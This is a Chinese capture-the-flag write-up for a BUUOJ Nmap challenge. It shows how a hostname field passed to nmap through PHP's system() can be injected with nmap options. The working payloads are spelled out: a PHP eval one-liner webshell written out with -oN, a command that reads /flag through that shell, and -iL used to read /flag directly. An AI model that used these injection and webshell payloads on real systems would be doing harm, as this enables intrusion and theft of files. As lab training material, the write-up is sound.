题目:https://buuoj.cn/challenges#[网鼎杯 2020 朱雀组]Nmap

简述解题思路

主界面

扫描结果页面

思路很简单,猜测后端php的代码实现类似于<?php system("nmap -xxx '".hostname."'");?> 其中:-xxx指代预先设置的一些nmap参数,hostname是用户输入的IP,前面应该会有对用户输入的hostname进行过滤和检测的代码(然而此题太水,似乎并没有多少限制

所以我们就可以在hostname里进行一些注入操作。

尝试了一些简单的shell语句注入,似乎无果。而且看不到返回的结果,只会弹出“Host maybe down”的提示。也许是被过滤了,shell语句都没有执行的样子。

于是考虑一下nmap有无一些神奇的参数,然后尝试注入一些nmap的参数。

使用Nmap的option -oN

-o[]参数可以将nmap的结果输出到指定的文件中。

测试结果

尝试payload: 127.0.0.1 -oN out.txt

访问out.txt得到404

通过结果可以看到,输入内容应该是被引号包裹的。

尝试payload: 127.0.0.1' -oN out.txt '

注: 结尾的 ' 并非必须,

得到host maybe down的结果。不过,访问**/out.txt**可以看到注入成功了。

1
2
3
4
5
# Nmap 6.47 scan initiated Sun May 30 06:11:32 2021 as: nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/ff8a8 -oN out.txt 127.0.0.1\ '
Failed to resolve "127.0.0.1\".
Failed to resolve "".
WARNING: No targets were specified, so 0 hosts scanned.
# Nmap done at Sun May 30 06:11:32 2021 -- 0 IP addresses (0 hosts up) scanned in 0.06 seconds

通过这返回值,也可以比较精确地推断php源代码了。

1
<?php system("nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/ff8a8 '" . hostname . "'"); ?>

不过,对于我们接下来的操作,用处不大。

既然可以访问到写入的文件了,我们只需要控制写入的文件,就可以获取到webshell,比如写入一条一句话木马。

跳过中间的一些尝试,直接看最终的结果吧。

payload: ' <?=eval($_GET[cmd]);?> -oN a.phtml '

注1:php字符会被过滤,返回Hacker… 所以使用<?= ?>的标签,并使用.phtml文件后缀

注2:由于 **'** 会被转义成**\'(并不影响操作) 所以最后一个 ' 前面加了一个空格,避免文件名和\**连起来

原理:在nmap里,非option参数(-xxx xxx型),也就是单独的参数,就会被当作一个hostname,因为nmap执行的的任何信息都会被写入到文件中(即使这个hostname无效,他也会写入Failed to resolve “[hostname]“),所以,利用这个特性,把php代码当作hostname写入进去。

访问**/a.phtml** 就可以看到写入的🐎了。php标签被php解释器解析了,所以看不到写入的代码。

测试一下。

接下来就是常见的webshell使用了。

payload:a.phtml?cmd=system("cat /flag");

得到flag。

Namp option -oN -iL 组合

-iL 从文件中读取hosts列表

利用前面提到的-oN特性。直接用-iL读取**/flag**

直接上payload

payload: ' -iL /flag -oN flag.txt '

然后访问**/flag.txt**就可以得到flag。

结语

比较水的一题,学习一下nmap的一些特性吧。